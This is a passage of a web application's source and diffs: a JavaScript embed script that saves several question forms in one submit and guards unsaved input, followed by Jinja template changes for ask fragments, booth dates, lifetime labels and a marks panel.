/* A choice made in another tab moves an open report live. */
|
||||
window.addEventListener("storage", function (e) {
|
||||
if (e.key === "booth.theme" || e.key === null) bkTheme();
|
||||
});
|
||||
|
||||
/* ONE SUBMIT SAVES EVERY ASK ON THE PAGE (2026-09-27; U3 contract,
|
||||
"Submitting several asks at once"). One pick is one <form> is one POST,
|
||||
and that POST's 303 reload wiped every pick made in the others: the
|
||||
operator answered top to bottom, pressed the last button, and lost the
|
||||
rest (`auk-audition`, 15:02:23 in the access log).
|
||||
|
||||
A submit on one of OUR forms, while ANOTHER of ours holds input the
|
||||
operator changed, sends every changed ("dirty") form of ours: one POST
|
||||
each, to its own action, with `Accept: application/json` for the route's
|
||||
204 (r2 C3), one after another in DOCUMENT ORDER of the forms. A form
|
||||
nobody touched is not sent - re-sending re-dates an answer nobody gave, and
|
||||
a blank one is refused - and that includes the pressed one. A refused form
|
||||
stops nothing. Each form the server took becomes its own new baseline, so
|
||||
it is never sent again unless it changes again.
|
||||
|
||||
Then the page reloads - so what shows is the server's record - ONLY if
|
||||
nothing is left unsaved: no refusal, and nothing of ours changed while
|
||||
the batch was in flight. Otherwise NO reload: the pressed form's status line says
|
||||
what did not save, and everything he entered stays on the page. The page
|
||||
stays live during the flight, which is why that second condition exists
|
||||
(heid bug-hunt, 4 of 4 arms). A press during the flight is ignored, never
|
||||
handed to the browser; nothing is re-sent without a fresh press.
|
||||
|
||||
With no batch in flight and no OTHER dirty form, this does nothing and
|
||||
the browser submits: the plain POST and 303 it always was. */
|
||||
var sending = false;
|
||||
|
||||
/* as S5b (G13): LEAVING WITH AN UNSENT ANSWER ASKS FIRST, when any form of
|
||||
ours is dirty (against what the server last took). Our own leaving does
|
||||
not ask: the one-form path is the pressed form going to the server, so
|
||||
that form is skipped for the ONE navigation its submit starts. A host
|
||||
handler that cancels the submit after ours ran, or a navigation that
|
||||
does not replace the page (stopped, or a 204), leaves the answer unsent
|
||||
on screen, and the next leave asks (heid bug-hunt R3). A clean batch's
|
||||
reload finds nothing dirty. */
|
||||
var nativeSent = null;
|
||||
window.addEventListener("beforeunload", function (ev) {
|
||||
var skip = nativeSent;
|
||||
nativeSent = null;
|
||||
var forms = ourForms();
|
||||
for (var i = 0; i < forms.length; i++) {
|
||||
if (forms[i] !== skip && dirty(forms[i])) { ev.preventDefault(); ev.returnValue = ""; return; }
|
||||
}
|
||||
});
|
||||
|
||||
function serial(form) {
|
||||
return new URLSearchParams(new FormData(form)).toString();
|
||||
}
|
||||
|
||||
function dirty(form) {
|
||||
/* Against what the server last TOOK from this page, once it has taken
|
||||
something (`__bkSaved`, set per form on its 204). Before that, against
|
||||
the server-rendered default: `form.elements` includes every control
|
||||
bound by `form=`, wherever it sits in the document. */
|
||||
if (form.__bkSaved !== undefined) return serial(form) !== form.__bkSaved;
|
||||
var els = form.elements;
|
||||
for (var i = 0; i < els.length; i++) {
|
||||
var el = els[i];
|
||||
if (el.type === "radio" || el.type === "checkbox") {
|
||||
if (el.checked !== el.defaultChecked) return true;
|
||||
} else if (el.tagName === "TEXTAREA" || el.type === "text") {
|
||||
if (el.value !== el.defaultValue) return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
function ourForms() {
|
||||
/* Document order (querySelectorAll), and only forms inside something this
|
||||
script mounted: an author's own form is theirs, never ours to send. */
|
||||
var all = document.querySelectorAll('form[id^="bk-ask-form-"]'), out = [];
|
||||
for (var i = 0; i < all.length; i++) {
|
||||
for (var j = 0; j < ours.length; j++) {
|
||||
if (ours[j].contains(all[i])) { out.push(all[i]); break; }
|
||||
}
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
/* THE REPORT'S OWN INPUTS, which a reload or a navigation of ours would
|
||||
clear. Measured against how each stood WHEN WE MOUNTED, never against its
|
||||
default attributes: a bare <select> shows its first option selected while
|
||||
no option is defaultSelected, a range or color input has a value and no
|
||||
value attribute, and a host script may fill fields at load — all of them
|
||||
read "typed into" by the defaults before anyone touched them (SPYRJA H7,
|
||||
heid V1). A contenteditable region is input too (H2, V2). */
|
||||
var HOST = "input, textarea, select, [contenteditable]:not([contenteditable='false'])";
|
||||
|
||||
function hostControls(forms) {
|
||||
var out = [], els = document.querySelectorAll(HOST);
|
||||
for (var i = 0; i < els.length; i++) {
|
||||
var el = els[i];
|
||||
if (el.form && forms.indexOf(el.form) >= 0) continue; // ours
|
||||
if (/^(hidden|submit|button|reset|image)$/.test((el.type || "").toLowerCase())) continue;
|
||||
out.push(el);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
function hostState(el) {
|
||||
if (el.isContentEditable && !("value" in el)) return el.innerHTML;
|
||||
var type = (el.type || "").toLowerCase();
|
||||
if (type === "radio" || type === "checkbox") return String(el.checked);
|
||||
if (el.tagName === "SELECT") {
|
||||
var on = [];
|
||||
for (var j = 0; j < el.options.length; j++) if (el.options[j].selected) on.push(j);
|
||||
return on.join(",");
|
||||
}
|
||||
return el.value;
|
||||
}
|
||||
|
||||
function baselineHost() {
|
||||
var els = hostControls(ourForms());
|
||||
for (var i = 0; i < els.length; i++) els[i].__bkHost = hostState(els[i]);
|
||||
}
|
||||
|
||||
function hostDirty(forms) {
|
||||
var els = hostControls(forms);
|
||||
for (var i = 0; i < els.length; i++) {
|
||||
var el = els[i];
|
||||
if (el.__bkHost !== undefined) {
|
||||
if (hostState(el) !== el.__bkHost) return true;
|
||||
continue;
|
||||
}
|
||||
/* Added after we mounted: no baseline, so the defaults it is — with a
|
||||
select's implicit first option counted as its default. */
|
||||
if (el.isContentEditable && !("value" in el)) continue; // nothing to compare against
|
||||
var type = (el.type || "").toLowerCase();
|
||||
if (type === "radio" || type === "checkbox") {
|
||||
if (el.checked !== el.defaultChecked) return true;
|
||||
} else if (el.tagName === "SELECT") {
|
||||
var any = false;
|
||||
for (var j = 0; j < el.options.length; j++) if (el.options[j].defaultSelected) any = true;
|
||||
for (var k = 0; k < el.options.length; k++) {
|
||||
var dflt = any ? el.options[k].defaultSelected : k === 0;
|
||||
if (el.options[k].selected !== dflt) return true;
|
||||
}
|
||||
} else if (el.value !== el.defaultValue) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
function askOf(form) {
|
||||
var els = form.elements;
|
||||
for (var i = 0; i < els.length; i++) {
|
||||
if (els[i].name === "ask") return els[i].value;
|
||||
}
|
||||
return "?";
|
||||
}
|
||||
|
||||
function send(form, body) {
|
||||
/* Resolves to null when saved, or to why it was not. NEVER rejects, so one
|
||||
refusal cannot stop the chain behind it. */
|
||||
return fetch(form.action, {
|
||||
method: "POST", body: body, credentials: "same-origin",
|
||||
headers: { "Accept": "application/json" }
|
||||
}).then(function (r) {
|
||||
if (r.status === 204) return null;
|
||||
return r.json().then(function (j) { return (j && j.detail) || "status " + r.status; },
|
||||
function () { return "status " + r.status; });
|
||||
}, function () { return "the Booth did not answer"; });
|
||||
}
|
||||
|
||||
document.addEventListener("submit", function (ev) {
|
||||
var form = ev.target;
|
||||
if (ev.defaultPrevented || !window.fetch || !window.URLSearchParams || !window.FormData) return;
|
||||
var forms = ourForms();
|
||||
if (forms.indexOf(form) < 0) return;
|
||||
/* In flight FIRST: a press on a form with no other dirty form beside it
|
||||
would otherwise fall through to the browser, a native POST racing the
|
||||
batch (heid bug-hunt, hulda). */
|
||||
if (sending) { ev.preventDefault(); return; }
|
||||
/* Unsaved text in the REPORT also keeps a lone answer off the browser's
|
||||
own POST: its 303 is a navigation, and it took that text with it
|
||||
(SPYRJA H1). */
|
||||
var others = forms.some(function (f) { return f !== form && dirty(f); }) || hostDirty(forms);
|
||||
if (!others) {
|
||||
nativeSent = form;
|
||||
setTimeout(function () { if (ev.defaultPrevented && nativeSent === form) nativeSent = null; }, 0);
|
||||
}
|
||||
if (!others) return; // the browser's own POST and 303
|
||||
ev.preventDefault();
|
||||
sending = true;
|
||||
var batch = forms.filter(dirty);
|
||||
if (!batch.length) { // report input only: nothing of ours to send
|
||||
sending = false;
|
||||
var none = form.parentNode && form.parentNode.querySelector(".bk-ask-status");
|
||||
if (none) { none.textContent = "Nothing new to save in this answer."; none.hidden = false; }
|
||||
return;
|
||||
}
|
||||
// every form's fields read NOW, at the press
|
||||
var bodies = batch.map(function (f) { return new URLSearchParams(new FormData(f)); });
|
||||
var failed = [], chain = Promise.resolve();
|
||||
batch.forEach(function (f, n) {
|
||||
chain = chain.then(function () {
|
||||
return send(f, bodies[n]).then(function (why) {
|
||||
if (why === null) f.__bkSaved = bodies[n].toString();
|
||||
else failed.push(askOf(f) + " (" + why + ")");
|
||||
});
|
||||
});
|
||||
});
|
||||
chain.then(function () {
|
||||
sending = false; // before anything here can throw
|
||||
/* A refusal blocks the reload ON ITS OWN: a refused form the operator
|
||||
then set back to its first value reads clean, and "nothing dirty"
|
||||
alone reloaded over the failure without a word (heid bug-hunt,
|
||||
hulda). Otherwise anything dirty was touched mid-flight. */
|
||||
var changed = forms.some(dirty);
|
||||
/* ...and the REPORT's own inputs: the reload would take whatever the
|
||||
operator typed into the author's page too (design-dev's report,
|
||||
2026-09-28). ourForms cannot see those, so this looks at the rest. */
|
||||
var host = hostDirty(forms);
|
||||
if (!failed.length && !changed && !host) { location.reload(); return; }
|
||||
var saved = batch.length - failed.length;
|
||||
var st = form.parentNode && form.parentNode.querySelector(".bk-ask-status");
|
||||
if (!st) return;
|
||||
st.textContent = failed.length
|
||||
? "Saved " + saved + " of " + batch.length + ". Not saved: " + failed.join("; ") +
|
||||
". Nothing you entered was cleared; reload to see what was saved."
|
||||
: changed
|
||||
? "Saved " + saved + " of " + batch.length + ". You changed an answer while " +
|
||||
"that was saving, and it is not saved yet: press Submit again to save it."
|
||||
: "Saved " + saved + " of " + batch.length + ". The page was not reloaded, because " +
|
||||
"something else on it holds text you have not saved; reload when you are ready.";
|
||||
st.hidden = false;
|
||||
});
|
||||
});
|
||||
|
||||
function start() {
|
||||
var name = boothName();
|
||||
if (!name || !document.body) return;
|
||||
styles();
|
||||
// Mounted BEFORE the fetch and from a constant, so a failed or slow fetch
|
||||
// still leaves the operator a way out. That is why the payload carries no
|
||||
// `home` — a value on the wire that nothing reads is a second
|
||||
// representation of one fact, waiting to disagree with the first.
|
||||
homeChip("/");
|
||||
fetch("/b/" + encodeURIComponent(name) + "/embed.json", { credentials: "same-origin" })
|
||||
.then(function (r) { return r.ok ? r.json() : null; })
|
||||
.then(function (data) {
|
||||
if (!data) return;
|
||||
favicon(data.favicon);
|
||||
var mounted = place(data.marks || []);
|
||||
ours = [];
|
||||
Object.keys(mounted).forEach(function (id) { ours = ours.concat(mounted[id]); });
|
||||
bkTheme();
|
||||
reassociate();
|
||||
asksChip(data.open || [], mounted);
|
||||
baselineHost();
|
||||
document.dispatchEvent(new CustomEvent("booth:mounted", { detail: { booth: name } }));
|
||||
})
|
||||
.catch(function () { /* the report is the operator's; a failed fetch costs
|
||||
the chrome, never the page. */ });
|
||||
}
|
||||
|
||||
/* The declared line carries `defer`, but an author may not copy it exactly. */
|
||||
if (document.readyState === "loading") {
|
||||
document.addEventListener("DOMContentLoaded", start);
|
||||
} else {
|
||||
start();
|
||||
}
|
||||
})();
|
||||
@@ -1,56 +1,22 @@
|
||||
{# Self-contained ask fragments injected into a booth's VERBATIM index.html.
|
||||
{# Self-contained ask fragments for a booth's VERBATIM index.html.
|
||||
|
||||
The page is served untouched and carries its own CSS, so nothing here may
|
||||
inherit from base.html: every fragment ships its own scoped `.bk-ask-*`
|
||||
styles (emitted once, by `styles()`), and the palette adapts via
|
||||
prefers-color-scheme rather than borrowing the host page's.
|
||||
inherit from base.html. Since U3 these fragments do not reach the page by
|
||||
string substitution: they are rendered here, handed over
|
||||
`/b/<name>/embed.json`, and MOUNTED INTO THE DOM by `/_booth/embed.js`. The
|
||||
scoped `.bk-ask-*` styles live in that file alongside the code that needs
|
||||
them, which is why this template no longer emits a `styles()` block.
|
||||
|
||||
These macros stay the ONE renderer of an ask fragment. embed.js places what
|
||||
comes back and never builds one.
|
||||
|
||||
Per-question fragments are wired to ONE form with the HTML5 `form=`
|
||||
attribute, so a four-voice report can put each radio group under its own
|
||||
audio block and still submit all four picks in a single POST — which is what
|
||||
audio block and still submit all four picks in a single POST -- which is what
|
||||
the multi-question ask requires. The <form> element itself is empty and
|
||||
lives with the submit block. No JavaScript.
|
||||
lives with the submit block.
|
||||
#}
|
||||
|
||||
{% macro styles() %}
|
||||
<style>
|
||||
.bk-ask{margin:1.1rem 0;padding:.85rem .95rem;border:1px solid rgba(128,140,160,.34);
|
||||
border-top:2px solid #e0b93c;border-radius:9px;background:rgba(128,140,160,.07);
|
||||
font:15px/1.5 ui-sans-serif,system-ui,-apple-system,"Segoe UI",Roboto,sans-serif}
|
||||
.bk-ask.bk-done{border-top-color:#3fae6a}
|
||||
.bk-ask.bk-skip{border-top-color:#6f7c8c}
|
||||
.bk-ask.bk-skip .bk-ask-tag{color:#8a97a6}
|
||||
.bk-ask-tag{display:block;margin-bottom:.5rem;font:700 10px/1 ui-monospace,SFMono-Regular,Menlo,monospace;
|
||||
letter-spacing:.12em;text-transform:uppercase;color:#c9a227}
|
||||
.bk-ask.bk-done .bk-ask-tag{color:#3fae6a}
|
||||
.bk-ask-title{margin:0 0 .15rem;font-size:.72rem;letter-spacing:.07em;text-transform:uppercase;opacity:.62}
|
||||
.bk-ask-prompt{margin:0 0 .6rem;font-weight:600}
|
||||
.bk-ask-opts{display:flex;flex-direction:column;gap:.3rem}
|
||||
.bk-ask-opt{display:flex;align-items:flex-start;gap:.55rem;padding:.45rem .6rem;cursor:pointer;
|
||||
border:1px solid rgba(128,140,160,.3);border-radius:6px;background:rgba(128,140,160,.06)}
|
||||
.bk-ask-opt:hover{border-color:rgba(128,140,160,.62)}
|
||||
.bk-ask-opt:has(input:checked){border-color:#2fa8a0;background:rgba(47,168,160,.13)}
|
||||
.bk-ask-opt input{margin:.25rem 0 0;flex:0 0 auto;accent-color:#2fa8a0}
|
||||
.bk-ask-lab{display:flex;flex-direction:column;gap:.1rem;min-width:0}
|
||||
.bk-ask-det{font-size:.8rem;opacity:.68}
|
||||
.bk-ask-notes{display:block;width:100%;box-sizing:border-box;margin:.6rem 0 0;padding:.5rem .6rem;
|
||||
font:inherit;font-size:.9rem;color:inherit;background:rgba(128,140,160,.09);
|
||||
border:1px solid rgba(128,140,160,.34);border-radius:6px;resize:vertical}
|
||||
.bk-ask-go{margin-top:.7rem;cursor:pointer;font:700 12px/1 ui-monospace,SFMono-Regular,Menlo,monospace;
|
||||
letter-spacing:.06em;padding:.6rem 1.1rem;border-radius:6px;border:1px solid #2fa8a0;
|
||||
background:#2fa8a0;color:#08131a}
|
||||
.bk-ask-go:hover{filter:brightness(1.09)}
|
||||
.bk-ask-was{margin:.15rem 0 .55rem;font-size:.84rem;opacity:.8}
|
||||
.bk-ask-was b{opacity:1}
|
||||
.bk-ask-err{color:#d6452a;font-size:.86rem}
|
||||
@media (prefers-color-scheme: light){
|
||||
.bk-ask-tag{color:#8a6d10}
|
||||
.bk-ask-go{color:#fff}
|
||||
}
|
||||
@media print{.bk-ask{break-inside:avoid}}
|
||||
</style>
|
||||
{% endmacro %}
|
||||
|
||||
{# One question's radio group, bound to the shared form by id. #}
|
||||
{% macro question(a, q, form_id, name_url, standalone=False) %}
|
||||
{% set field = 'choice.' ~ q.key if a.multi else 'choice' %}
|
||||
@@ -59,10 +25,10 @@
|
||||
{% set skipped = a.answer and not picked %}
|
||||
<div class="bk-ask{% if picked %} bk-done{% elif skipped %} bk-skip{% endif %}" id="bk-ask-{{ a.id }}{% if q.key %}-{{ q.key }}{% endif %}">
|
||||
<span class="bk-ask-tag">{% if picked %}✓ answered{% elif skipped %}— skipped{% else %}? your pick{% endif %}</span>
|
||||
<p class="bk-ask-prompt">{{ q.prompt }}</p>
|
||||
<p class="bk-ask-prompt" id="bk-ask-{{ a.id }}{% if q.key %}-{{ q.key }}{% endif %}:prompt">{{ q.prompt }}</p>
|
||||
{% if picked %}<p class="bk-ask-was">recorded: <b>{{ qa.label }}</b>{% if qa.notes %} — {{ qa.notes }}{% endif %}</p>
|
||||
{% elif skipped %}<p class="bk-ask-was">left blank — pick one any time, or leave it{% if qa and qa.notes %}; note: {{ qa.notes }}{% endif %}</p>{% endif %}
|
||||
<div class="bk-ask-opts">
|
||||
<div class="bk-ask-opts" role="radiogroup" aria-labelledby="bk-ask-{{ a.id }}{% if q.key %}-{{ q.key }}{% endif %}:prompt">
|
||||
{% for o in q.options %}
|
||||
<label class="bk-ask-opt">
|
||||
<input type="radio" name="{{ field }}" value="{{ o.id }}"
|
||||
@@ -76,7 +42,7 @@
|
||||
{% if q.notes %}
|
||||
<textarea class="bk-ask-notes" name="notes.{{ q.key }}" rows="2"
|
||||
{% if not standalone %}form="{{ form_id }}"{% endif %}
|
||||
placeholder="notes on this one (optional)">{{ qa.notes if qa else '' }}</textarea>
|
||||
aria-label="notes on this one" placeholder="notes on this one (optional)">{{ qa.notes if qa else '' }}</textarea>
|
||||
{% endif %}
|
||||
</div>
|
||||
{% endmacro %}
|
||||
@@ -87,15 +53,18 @@
|
||||
<div class="bk-ask{% if a.answer %} bk-done{% endif %}" id="bk-ask-{{ a.id }}-submit">
|
||||
<form id="{{ form_id }}" method="post" action="/b/{{ name_url }}/answer"></form>
|
||||
<input type="hidden" name="ask" value="{{ a.id }}" form="{{ form_id }}">
|
||||
<span class="bk-ask-tag">{% if a.answer and a.answer.complete %}✓ answered {{ a.answer.answered_at }}
|
||||
{%- elif a.answer %}◐ {{ a.questions|length - (a.answer.unanswered|length) }} of {{ a.questions|length }} answered · {{ a.answer.answered_at }}
|
||||
<span class="bk-ask-tag">{% if a.answer and a.answer.complete %}✓ answered <time datetime="{{ a.answer.answered_at }}">{{ a.answer.answered_at|clock }}</time>
|
||||
{%- elif a.answer %}◐ {{ a.questions|length - (a.answer.unanswered|length) }} of {{ a.questions|length }} answered · <time datetime="{{ a.answer.answered_at }}">{{ a.answer.answered_at|clock }}</time>
|
||||
{%- else %}? submit your picks{% endif %}</span>
|
||||
{% if not a.answer %}<p class="bk-ask-was">Answer what you can — blanks are fine, and you can come back.</p>{% endif %}
|
||||
{% if a.notes_enabled %}
|
||||
<textarea class="bk-ask-notes" name="notes" rows="3" form="{{ form_id }}"
|
||||
placeholder="{{ a.notes_label }} (optional)">{{ a.answer.notes if a.answer else '' }}</textarea>
|
||||
aria-label="{{ a.notes_label }}" placeholder="{{ a.notes_label }} (optional)">{{ a.answer.notes if a.answer else '' }}</textarea>
|
||||
{% endif %}
|
||||
<button type="submit" class="bk-ask-go" form="{{ form_id }}">{% if a.answer %}Update answer{% else %}Submit answer{% endif %}</button>
|
||||
{# Empty and hidden: where embed.js says which asks a several-at-once submit
|
||||
could not save. The script only sets its text; it builds no markup. #}
|
||||
<p class="bk-ask-status" role="status" hidden></p>
|
||||
</div>
|
||||
{% endmacro %}
|
||||
|
||||
@@ -105,7 +74,7 @@
|
||||
<div class="bk-ask"><span class="bk-ask-tag">⚠ broken ask</span>
|
||||
<p class="bk-ask-err">this question could not be read: {{ a.error }}</p></div>
|
||||
{% else %}
|
||||
{% if a.title %}<p class="bk-ask-title" id="bk-ask-{{ a.id }}">{{ a.title }}</p>{% endif %}
|
||||
{% if a.title %}<p class="bk-ask-title" id="bk-ask-{{ a.id }}:title">{{ a.title }}</p>{% endif %}
|
||||
{% for q in a.questions %}{{ question(a, q, form_id, name_url) }}{% endfor %}
|
||||
{{ submit(a, form_id, name_url) }}
|
||||
{% endif %}
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
{# r2b D1b — a booth's two dates, defined ONCE for the Desk row and the booth
|
||||
header. Created is the day it began (the filesystem's birth time); updated
|
||||
is how recently its CONTENT moved (`landed_at`, the clock "new since you
|
||||
looked" reads). Each is a <time> with its exact stamp as the title.
|
||||
- A date the filesystem cannot give, or the calendar cannot hold, renders
|
||||
NOTHING — never a plausible guess, and never a 500 for the whole Desk.
|
||||
- "Updated" shows whenever it differs from "created" by a minute or more,
|
||||
EITHER way: copied files keep their mtimes while the folder is born now,
|
||||
so content can be older than its booth. Within a minute, one date.
|
||||
- A content clock AHEAD of now (a wrong clock somewhere) is said as its
|
||||
date, never as an age — "updated just now" would be a lie. #}
|
||||
{% macro dates(created_at, landed_at, now) -%}
|
||||
{%- set made = created_at|day(now) if created_at else "" -%}
|
||||
{%- if made %} · <time class="d-made" datetime="{{ created_at|iso }}" title="created {{ created_at|stamp }}">created {{ made }}</time>{% endif -%}
|
||||
{%- set moved = landed_at|day(now) if landed_at else "" -%}
|
||||
{%- if moved and (not made or (landed_at - created_at)|abs >= 60) -%}
|
||||
{%- set age = now - landed_at -%}
|
||||
{%- if age < -60 %} · <time class="d-upd" datetime="{{ landed_at|iso }}" title="updated {{ landed_at|stamp }}">updated {{ moved }}</time>
|
||||
{%- else %} · <time class="d-upd" datetime="{{ landed_at|iso }}" title="updated {{ landed_at|stamp }}">updated {{ age|ago }}</time>{% endif -%}
|
||||
{%- endif -%}
|
||||
{%- endmacro %}
|
||||
@@ -0,0 +1,28 @@
|
||||
{# The lifetime line, defined ONCE and called from four surfaces: the index
|
||||
card (both lanes), the booth header (both branches) and the marks page.
|
||||
|
||||
U4: a booth's lifetime is derived from its own state, and a booth that is
|
||||
not counting down must always SAY WHY — an invisible rule that silently
|
||||
stopped the clock would be strictly worse than the `.forever` boolean it
|
||||
replaces, because that one was at least visible as a lane.
|
||||
|
||||
`hold` is the REASON, straight off `hold_reason()`, not a bool beside a
|
||||
string that can disagree with it. Kept wins over a hold because a kept booth
|
||||
is exempt either way, and showing two reasons for one EXEMPTION is the
|
||||
two-representations-of-one-state trap.
|
||||
|
||||
Unreadable marks are the exception and ride along even on a kept board:
|
||||
damaged judgment is not a second exemption, it is a thing somebody has to go
|
||||
and fix, and the kept lane holds the durable boards — the ones where losing
|
||||
the operator's marks costs most. #}
|
||||
{% macro lifetime(kept, hold, expires_in) -%}
|
||||
{%- if kept -%}
|
||||
kept{% if hold == "unreadable" %} · <span class="held held-broken" title="a mark in this booth cannot be read">marks unreadable</span>{% endif %}
|
||||
{%- elif hold == "unreadable" -%}
|
||||
<span class="held held-broken" title="a mark in this booth cannot be read, so the sweeper will not take it">held · marks unreadable</span>
|
||||
{%- elif hold == "open" -%}
|
||||
<span class="held" title="an unanswered question holds this booth open">held until answered</span>
|
||||
{%- else -%}
|
||||
expires in {{ expires_in|dur }}
|
||||
{%- endif -%}
|
||||
{%- endmacro %}
|
||||
+106
-25
@@ -13,11 +13,41 @@
|
||||
Works with JS off — plain form POST, every shape. An answered pick shows the
|
||||
recorded judgment and a collapsed "change" form, because the mark is the
|
||||
CURRENT judgment and not a log. #}
|
||||
{# A mark carrying `error` is sorted out FIRST, whatever shape it claims. A
|
||||
pick keeps its own ⚠ broken rendering below (richer — it has a declaration to
|
||||
show); a broken note would otherwise render as an empty <pre> with a withdraw
|
||||
button, indistinguishable from a note the operator wrote and then cleared,
|
||||
and a broken flag would link to a target that is not there. Unreadable state
|
||||
is visible state — the rule `_hydrate` states for picks, applied to all
|
||||
three. #}
|
||||
{% set broken = marks | selectattr('error') | rejectattr('shape', 'equalto', 'pick') | list %}
|
||||
{% set picks = marks | selectattr('shape', 'equalto', 'pick') | list %}
|
||||
{% set notes = marks | selectattr('shape', 'equalto', 'note') | list %}
|
||||
{% set flags = marks | selectattr('shape', 'equalto', 'flag') | list %}
|
||||
{% set notes = marks | selectattr('shape', 'equalto', 'note') | rejectattr('error') | list %}
|
||||
{% set flags = marks | selectattr('shape', 'equalto', 'flag') | rejectattr('error') | list %}
|
||||
<section class="marks">
|
||||
|
||||
{# `picks_only` + `back_view`: the review rail (view.html) includes this panel
|
||||
with `marks` narrowed to the open picks it should offer, and wants only the
|
||||
pick forms, each landing back on the review (`back=view`, R2 C3). ONE
|
||||
renderer of a pick form, whichever page it sits on. #}
|
||||
{% if not picks_only %}
|
||||
{% for a in broken %}
|
||||
<article class="mark mark-note is-broken" id="mark-{{ a.id }}">
|
||||
<header class="mark-head">
|
||||
<span class="mark-state">⚠ broken</span>
|
||||
<span class="mark-id"><code>{{ a.id }}</code></span>
|
||||
<span class="board-spacer"></span>
|
||||
<form class="mark-undo" method="post" action="/b/{{ name_url }}/unmark" data-inplace>
|
||||
<input type="hidden" name="mark" value="{{ a.id }}">
|
||||
{% if marks_page %}<input type="hidden" name="back" value="marks">{% endif %}
|
||||
<button type="submit" class="mark-x" title="withdraw this mark" aria-label="withdraw this mark">×</button>
|
||||
</form>
|
||||
</header>
|
||||
<p class="mark-error">This mark could not be read: {{ a.error }}</p>
|
||||
</article>
|
||||
{% endfor %}
|
||||
|
||||
{% endif %}
|
||||
{% for a in picks %}
|
||||
<article class="mark mark-pick{% if a.answer and a.answer.complete %} is-answered{% elif a.answer %} is-partial{% elif a.error %} is-broken{% endif %}" id="mark-{{ a.id }}">
|
||||
<header class="mark-head">
|
||||
@@ -26,7 +56,7 @@
|
||||
{% if a.target %}<span class="mark-target">on <a href="view?f={{ a.target|urlencode }}">{{ a.target }}</a></span>{% endif %}
|
||||
<span class="board-spacer"></span>
|
||||
{% if a.answer and not a.answer.complete %}<span class="mark-part">{{ (a.questions|length) - (a.answer.unanswered|length) }}/{{ a.questions|length }}</span>{% endif %}
|
||||
{% if a.answer %}<span class="mark-when">{{ a.answer.answered_at }}{% if a.answer.answered_by %} · {{ a.answer.answered_by }}{% endif %}</span>{% endif %}
|
||||
{% if a.answer %}<span class="mark-when"><time datetime="{{ a.answer.answered_at }}">{{ a.answer.answered_at|clock }}</time>{% if a.answer.answered_by|byline %} · {{ a.answer.answered_by|byline }}{% endif %}</span>{% endif %}
|
||||
</header>
|
||||
{% if a.error %}
|
||||
<p class="mark-error">This question could not be read: {{ a.error }}</p>
|
||||
@@ -51,7 +81,7 @@
|
||||
{% endif %}
|
||||
<details class="mark-formwrap"{% if not a.answer %} open{% endif %}>
|
||||
<summary class="mark-change">{% if a.answer %}change answer{% else %}answer{% endif %}</summary>
|
||||
<form class="mark-form" method="post" action="/b/{{ name_url }}/answer">
|
||||
<form class="mark-form" method="post" action="/b/{{ name_url }}/answer" data-inplace>
|
||||
{# The field is still `ask`: inline fragments in reports the operator
|
||||
has already published POST that name, and breaking every landed
|
||||
verbatim report to tidy a form field is not a trade worth making. #}
|
||||
@@ -59,11 +89,12 @@
|
||||
{# On the standalone page, come back HERE — the booth's own page is a
|
||||
verbatim report that cannot show the recorded judgment. #}
|
||||
{% if marks_page %}<input type="hidden" name="back" value="marks">{% endif %}
|
||||
{% if back_view %}<input type="hidden" name="back" value="view"><input type="hidden" name="f" value="{{ back_view }}">{% endif %}
|
||||
{% for q in a.questions %}
|
||||
{% set field = 'choice.' ~ q.key if a.multi else 'choice' %}
|
||||
{% set qa = a.answer.answers.get(q.key) if (a.answer and a.multi) else a.answer %}
|
||||
<fieldset class="mark-q">
|
||||
{% if a.multi %}<legend class="mark-q-prompt">{{ loop.index }}. {{ q.prompt }}</legend>{% endif %}
|
||||
{% if a.multi %}<legend class="mark-q-prompt">{{ loop.index }}. {{ q.prompt }}</legend>{% else %}<legend class="sr-only">{{ q.prompt }}</legend>{% endif %}
|
||||
<div class="mark-options">
|
||||
{% for o in q.options %}
|
||||
<label class="mark-opt{% if qa and qa.choice == o.id %} is-current{% endif %}">
|
||||
@@ -77,12 +108,12 @@
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% if q.notes %}
|
||||
<textarea class="mark-notes mark-qnotes" name="notes.{{ q.key }}" rows="2" placeholder="notes on this one (optional)">{{ qa.notes if qa else '' }}</textarea>
|
||||
<textarea class="mark-notes mark-qnotes" name="notes.{{ q.key }}" rows="2" aria-label="notes on this one" placeholder="notes on this one (optional)">{{ qa.notes if qa else '' }}</textarea>
|
||||
{% endif %}
|
||||
</fieldset>
|
||||
{% endfor %}
|
||||
{% if a.notes_enabled %}
|
||||
<textarea class="mark-notes" name="notes" rows="3" placeholder="{{ a.notes_label }} (optional)">{{ a.answer.notes if a.answer else '' }}</textarea>
|
||||
<textarea class="mark-notes" name="notes" rows="3" aria-label="{{ a.notes_label }}" placeholder="{{ a.notes_label }} (optional)">{{ a.answer.notes if a.answer else '' }}</textarea>
|
||||
{% endif %}
|
||||
<div class="mark-actions">
|
||||
<button type="submit" class="mark-submit">{% if a.answer %}Update answer{% else %}Submit answer{% endif %}</button>
|
||||
@@ -93,25 +124,52 @@
|
||||
</article>
|
||||
{% endfor %}
|
||||
|
||||
{% for a in notes %}
|
||||
<article class="mark mark-note" id="mark-{{ a.id }}">
|
||||
{% if not picks_only %}
|
||||
{# FLAGS come right after the picks. On the lightbox (`tray` defined) they
|
||||
render as the TRAY: the flagged items in SET order — by tile number, the
|
||||
declared R2 change from the click order below — each the original shown
|
||||
small, blurred if the item is. The standalone marks page has no item
|
||||
records, so it keeps the list, in `(created, id)` order. #}
|
||||
{% if tray is defined %}{% if tray %}
|
||||
{# In the lightbox the tray and the notes FOLD on a narrow screen (R2 C5):
|
||||
a closed <details>, which base.html shows open-and-summary-less above
|
||||
1000px with no script. Below it, the question sits above the set and the
|
||||
tray and notes are one tap away instead of burying it. #}
|
||||
<details class="v-fold">
|
||||
<summary class="v-fold-head">✔ flagged · {{ tray|length }}</summary>
|
||||
<article class="mark mark-flags" id="mark-flags">
|
||||
<header class="mark-head">
|
||||
<span class="mark-state mark-state-note">note</span>
|
||||
{% if a.target %}<span class="mark-target">on <a href="view?f={{ a.target|urlencode }}">{{ a.target }}</a></span>
|
||||
{% else %}<span class="mark-target">on this booth</span>{% endif %}
|
||||
<span class="board-spacer"></span>
|
||||
